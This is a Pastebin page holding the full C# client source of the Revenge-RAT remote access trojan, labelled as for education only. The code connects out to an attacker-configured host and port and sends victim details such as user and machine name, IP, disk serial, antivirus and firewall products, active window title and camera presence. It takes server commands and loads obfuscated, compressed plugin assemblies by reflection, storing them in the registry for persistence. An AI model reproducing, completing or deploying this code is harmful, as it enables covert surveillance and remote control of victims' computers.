Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //Revenge-RAT Client Source Code v0.3 Rewritten in C# By MiraculousDZ
- //Original Author (VB.NET): N A P O L E O N
- //FB:MiraculousDZ == Skype:live:miraculous_dz_1
- //Last edit: 2017/04/20
- //To use for education purposes only
- //Thanks To : N A P O L E O N == THE MYSTERIES LEGACY == Grandfather's Legacy
- using Microsoft.VisualBasic;
- using Microsoft.VisualBasic.Devices;
- using Microsoft.Win32;
- using System;
- using System.Collections;
- using System.Collections.Generic;
- using System.Data;
- using System.Diagnostics;
- using System.Globalization;
- using System.IO;
- using System.IO.Compression;
- using System.Management;
- using System.Net;
- using System.Net.Sockets;
- using System.Reflection;
- using System.Runtime.InteropServices;
- using System.Text;
- using System.Threading;
- using System.Windows.Forms;
- namespace Miraculous_DZ
- {
- public static class Class1
- {
- #region Fields Definition
- public static bool ZE = false;
- public static TcpClient TC = null;
- public static bool CZ = false;
- public static int PING = 1;
- public static int PONG = 0;
- public static string RE = "1500"; //Replace %RE% for reconnect time in ms like 1500 or 2000
- public static string[] HOST = Strings.Split(",", ",", -1, Microsoft.VisualBasic.CompareMethod.Text); //Replace "%H%" with you host == you must add "," after all host ! == like this "127.0.0.1,"
- public static string[] PORT = Strings.Split(",", ",", -1, Microsoft.VisualBasic.CompareMethod.Text); //Replace "%P%" with you port == you must add "," after all port ! == like this "92,"
- public static string ID = ""; //Replace "%ID%" with your identification encoded in base64 UTF-8 like "Q2xpZW50"
- public static string XMUT = "%MUT%"; //Mutex:RunOnce
- public static string KEY = ""; //Replace "%Socket Key%" with your Socket Key
- public static int H = 0;
- public static int P = 0;
- public static string App = Application.ExecutablePath;
- public static ComputerInfo CI = new ComputerInfo();
- public static Mutex MUT;
- public static string SPL = "*-]NK[-*";
- #endregion
- #region Main
- [STAThread]
- public static void Main()
- {
- GO();
- }
- public static void GO()
- {
- new Thread(new ThreadStart(RC), 1).Start();
- new Thread(new ThreadStart(PIP)).Start();
- } //Connect
- public static void PIP()
- {
- DR:
- if (PING == 0)
- {
- PONG += 1;
- }
- Thread.Sleep(1);
- goto DR;
- } //Ping Client
- public static void INS()
- {
- Thread.Sleep(9000);
- try
- {
- MUT = new Mutex(true, XMUT, out ZE);
- if (!ZE)
- {
- System.Environment.Exit(0);
- MUT.ReleaseMutex();
- }
- }
- catch
- {
- }
- } //Client Install
- public static void Data(byte[] BB) //Receive Data from Server
- {
- string[] DZ = Strings.Split(BS(BB), KEY, -1, Microsoft.VisualBasic.CompareMethod.Text);
- if (DZ[0] == "PNC")
- {
- PING = 0;
- Send("PNC");
- }
- else if (DZ[0] == "P")
- {
- PING = 1;
- Send("P" + KEY + PONG);
- PONG = 0;
- Send("W" + KEY + GAW());
- }
- else if (DZ[0] == "IE") //Ask about plugin
- {
- if ((Registry.CurrentUser.OpenSubKey("Software\\" + Encode(XMUT) + "\\" + DZ[1], true) != null))
- {
- try
- {
- INV(HOST[H], PORT[P], DZ[4], DZ[5], Encode(Decode(ID) + "_" + DWF()), Registry.GetValue(@"HKEY_CURRENT_USER\SOFTWARE\" + Encode(XMUT) + @"\\" + DZ[1], DZ[1], null).ToString(), int.Parse(DZ[2]), System.Convert.ToBoolean(DZ[3]), DZ[1], true);
- }
- catch
- {
- Send("GPL" + KEY + DZ[5] + KEY + DZ[1] + KEY + "false");
- }
- }
- else
- {
- Send("GPL" + KEY + DZ[5] + KEY + DZ[1] + KEY + "false");
- }
- }
- else if (DZ[0] == "LP") //invoke plugin
- {
- INV(HOST[H], PORT[P], DZ[1], DZ[2], Encode(Decode(ID) + "_" + DWF()), DZ[3], int.Parse(DZ[4]), System.Convert.ToBoolean(DZ[5]), DZ[6], Convert.ToBoolean(DZ[7]));
- }
- else if (DZ[0] == "UNV") //uninstall - restart - close .. etc
- {
- object ar = Interaction.CallByName(LA(DZ[1]), System.Text.Encoding.Default.GetString(new byte[] { 71, 101, 116, 84, 121, 112, 101 }), CallType.Method, DZ[2]);
- object enn = Interaction.CallByName(ar, System.Text.Encoding.Default.GetString(new byte[] { 71, 101, 116, 77, 101, 116, 104, 111, 100 }), CallType.Method, System.Text.Encoding.Default.GetString(new byte[] { 85, 78, 73 }));
- object inn = Interaction.CallByName(enn, System.Text.Encoding.Default.GetString(new byte[] { 73, 110, 118, 111, 107, 101 }), CallType.Method, null, new object[] { Encode(XMUT), DZ[3], null, null, null, null, null, null, null, null,
- null, null, null, null, null, null, null, null, null, null,
- null, null, null, null, null, null, null, null, null, null,
- null, null, DZ[4], DZ[5], App, DZ[6], DZ[7], DZ[8], DZ[9], DZ[10],
- DZ[11], DZ[12], DZ[13]});
- }
- }
- #endregion
- #region Plugins
- public static void INV(string H, string P, string N, string C, string ID, string Bytes, int S, bool M, string MD5, bool B) //invoke plugin function
- {
- byte[] ci = new byte[] { 67, 114, 101, 97, 116, 101, 73, 110, 115, 116, 97, 110, 99, 101 };
- byte[] gem = new byte[] { 71, 101, 116, 77, 101, 116, 104, 111, 100 };
- byte[] invo = new byte[] { 73, 110, 118, 111, 107, 101 };
- byte[] vod = new byte[] { 83, 116, 97, 114, 116 };
- object ar = Interaction.CallByName(LA(Bytes), System.Text.Encoding.Default.GetString(ci), CallType.Method, N + "." + C);
- object inn = Interaction.CallByName(ar, System.Text.Encoding.Default.GetString(vod), CallType.Method, new object[] { ID, S, H, P, KEY, SPL });
- if (M)
- {
- try
- {
- if (Registry.CurrentUser.OpenSubKey("Software\\" + Encode(XMUT) + "\\" + MD5, true) == null)
- {
- IR("HKEY_CURRENT_USER\\SOFTWARE\\" + Encode(XMUT) + "\\" + MD5, MD5, Bytes);
- }
- }
- catch
- {
- }
- if (B == false)
- {
- IR("HKEY_CURRENT_USER\\SOFTWARE\\" + Encode(XMUT) + "\\" + MD5, MD5, Bytes);
- }
- }
- }
- public static object LA(string B) //load assembly
- {
- byte[] lod = new byte[] { 76, 111, 97, 100 };
- Object ap = System.AppDomain.CurrentDomain;
- return Interaction.CallByName(ap, System.Text.Encoding.Default.GetString(lod), CallType.Method, Decompress(Convert.FromBase64String(B)));
- }
- public static void IR(string P, string N, string B) //add reg value
- {
- try
- {
- Registry.SetValue(P, N, B);
- }
- catch
- {
- }
- }
- #endregion
- #region Functions
- public static string IP() //Get internal IP
- {
- try
- {
- return ((IPAddress)Dns.GetHostByName(Dns.GetHostName()).AddressList.GetValue(0)).ToString();
- }
- catch
- {
- return "????";
- }
- }
- public static string DWF() //Get Hard Disk Serial Number
- {
- try
- {
- string trt = Interaction.Environ("SystemDrive") + "\\";
- string trrt = null;
- int trtt = 0;
- int tyt = 0;
- int tytr = 0;
- string trrtr = null;
- int number = 0;
- GVI(trt, trrt, trtt, ref number, ref tyt, ref tytr, trrtr, 0);
- return Conversion.Hex(number);
- }
- catch
- {
- return "ERR";
- }
- }
- public static string CIVC()
- {
- string hh = null;
- string hhh = Strings.Space(100);
- try
- {
- for (int i = 0; i <= 4; i++)
- {
- if (CAWP((short)i, hhh, 100, hh, 100))
- {
- return "Yes";
- }
- }
- }
- catch
- {
- }
- return "No";
- } //Check Camera return yes or no
- public static string OP()
- {
- try
- {
- foreach (ManagementObject SC in new ManagementObjectSearcher("select * from Win32_Processor").Get())
- {
- return Convert.ToInt32(SC["AddressWidth"]).ToString();
- }
- }
- catch
- {
- return "????";
- }
- return "????";
- } //Get operation system 32 or 64 bit
- public static string GPRO(string Product) //Get Product via ManagementObjectSearcher
- {
- try
- {
- string PN = string.Empty;
- foreach (ManagementObject AV in new ManagementObjectSearcher("root\\SecurityCenter" + (CI.OSFullName.Contains("XP") ? "" : "2").ToString(), Product).Get())
- {
- PN += AV["displayName"];
- }
- if ((PN != string.Empty))
- {
- return Encode(PN);
- }
- else
- {
- return Encode("N/A");
- }
- }
- catch
- {
- return Encode("N/A");
- }
- }
- public static string MP()
- {
- try
- {
- return Registry.GetValue("HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\SYSTEM\\CENTRALPROCESSOR\\0", "ProcessorNameString", null).ToString();
- }
- catch
- {
- return "????";
- }
- } // Get CPU
- public static string GAW()
- {
- StringBuilder W = new StringBuilder(256);
- GetWindowText(GFW(), W, W.Capacity);
- return Encode(W.ToString());
- } //Get Active Window
- #endregion
- #region Network
- public static void RC() //Handling Incoming Data
- {
- MemoryStream M = new MemoryStream();
- int lp = 0;
- re:
- try
- {
- try
- {
- EmptyWorkingSet(Process.GetCurrentProcess().Handle); //Reduce memory versus performance
- }
- catch
- {
- }
- }
- catch
- {
- }
- try
- {
- if (TC == null)
- goto e;
- if (TC.Client.Connected == false)
- goto e;
- if (CZ == false)
- goto e;
- lp += 1;
- if (lp > 150)
- {
- lp = 0;
- if (TC.Client.Poll(-1, System.Net.Sockets.SelectMode.SelectRead) & TC.Client.Available <= 0)
- goto e;
- }
- if (TC.Available > 0)
- {
- byte[] B = new byte[TC.Available];
- TC.Client.Receive(B, 0, B.Length, System.Net.Sockets.SocketFlags.None);
- M.Write(B, 0, B.Length);
- rr:
- if (BS(M.ToArray()).Contains(SPL))
- {
- Array[] A = (Array[])(fx(M.ToArray(), SPL));
- Thread t = new Thread(delegate() { Data((byte[])A[0]); });
- t.Start();
- M.Dispose();
- M = new System.IO.MemoryStream();
- if (A.Length == 2)
- {
- M.Write((byte[])(A[1]), 0, ((byte[])(A[1])).Length);
- goto rr;
- }
- }
- }
- }
- catch
- {
- goto e;
- }
- Thread.Sleep(1);
- goto re;
- e:
- try
- {
- try
- {
- EmptyWorkingSet(Process.GetCurrentProcess().Handle);
- }
- catch
- {
- }
- }
- catch
- {
- }
- CZ = false;
- try
- {
- TC.Client.Disconnect(false);
- }
- catch
- {
- }
- try
- {
- M.Dispose();
- }
- catch
- {
- }
- M = new MemoryStream();
- bool IC = false;
- for (int Count = 0; Count <= HOST.Length - 2; Count++)
- {
- try
- {
- TC = new TcpClient();
- {
- TC.ReceiveTimeout = -1;
- TC.SendTimeout = -1;
- TC.SendBufferSize = 999999;
- TC.ReceiveBufferSize = 999999;
- }
- lp = 0;
- TC.Client.Connect(HOST[Count], Convert.ToInt16(PORT[Count]));
- CZ = true;
- Send("Information" + KEY + ID + KEY + Encode("_" + DWF()) + KEY + IP() + KEY + Encode(Environment.MachineName + " / " + Environment.UserName) + KEY + CIVC() + KEY + Encode(CI.OSFullName + " " + OP()) + KEY + Encode(MP()) + KEY + CI.TotalPhysicalMemory + KEY + GPRO("Select * from AntiVirusProduct") + KEY + GPRO("SELECT * FROM FirewallProduct") + KEY + PORT[P] + KEY + GAW() + KEY + Encode(CultureInfo.CurrentCulture.Name) + KEY + @"RVUS"); // RVUS for make this client special color in lv , true for spread , RVUS for you , and false mean this client didn't come from spread
- H = Count;
- P = Count;
- IC = true;
- goto re;
- }
- catch
- {
- Thread.Sleep(int.Parse(RE));
- H = 0;
- P = 0;
- }
- }
- if (IC == true)
- {
- IC = false;
- goto e;
- }
- goto re;
- }
- public static void Send(byte[] b) //Send Data
- {
- if (CZ == false)
- return;
- try
- {
- MemoryStream r = new MemoryStream();
- r.Write(b, 0, b.Length);
- r.Write(SB(SPL), 0, SPL.Length);
- TC.Client.SendBufferSize = b.Length;
- TC.Client.Poll(-1, System.Net.Sockets.SelectMode.SelectWrite);
- TC.Client.Send(r.ToArray(), 0, checked((int)r.Length), System.Net.Sockets.SocketFlags.None);
- r.Dispose();
- }
- catch
- {
- CZ = false;
- }
- }
- public static void Send(string S) //Send Data
- {
- Send(SB(S));
- }
- #endregion
- #region Encoding
- public static byte[] SB(string s)
- {
- return Encoding.Default.GetBytes(s);
- } // String to Byte
- public static string BS(byte[] b)
- {
- return Encoding.Default.GetString(b);
- } // Byte to String
- public static Array fx(byte[] b, string WRD)
- {
- List<byte[]> a = new List<byte[]>();
- MemoryStream M = new MemoryStream();
- MemoryStream MM = new MemoryStream();
- string[] T = Strings.Split(BS(b), WRD, -1, Microsoft.VisualBasic.CompareMethod.Text);
- M.Write(b, 0, T[0].Length);
- MM.Write(b, T[0].Length + WRD.Length, b.Length - (T[0].Length + WRD.Length));
- a.Add(M.ToArray());
- a.Add(MM.ToArray());
- M.Dispose();
- MM.Dispose();
- return (a.ToArray());
- } // fix incomming Data(bytes)
- public static byte[] Decompress(byte[] B) // Decompress Bytes with GZipStream
- {
- MemoryStream ms = new MemoryStream(B);
- GZipStream gzipStream = new GZipStream((Stream)ms, CompressionMode.Decompress);
- byte[] buffer = new byte[4];
- ms.Position = checked(ms.Length - 5L);
- ms.Read(buffer, 0, 4);
- int count = BitConverter.ToInt32(buffer, 0);
- ms.Position = 0L;
- byte[] AR = new byte[checked(count - 1 + 1)];
- gzipStream.Read(AR, 0, count);
- gzipStream.Dispose();
- ms.Dispose();
- return AR;
- }
- public static string Encode(string str)
- {
- return Convert.ToBase64String(Encoding.UTF8.GetBytes(str));
- } // Encode string UTF-8
- public static string Decode(string str)
- {
- return Encoding.UTF8.GetString(Convert.FromBase64String(str));
- } // Decode string UTF-8
- #endregion
- #region PInvokes
- [DllImport("kernel32", EntryPoint = "GetVolumeInformationA", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
- private static extern int GVI(string IP, string V, int T, ref int H, ref int Q, ref int G, string J, int X);
- [DllImport("user32", EntryPoint = "GetForegroundWindow", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
- private static extern IntPtr GFW();
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount);
- [DllImport("avicap32.dll", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
- public static extern bool CAWP(short wDriver, string lpszName, int cbName, string lpszVer, int cbVer);
- [DllImport("psapi")]
- public static extern bool EmptyWorkingSet(IntPtr hProcess);
- #endregion
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement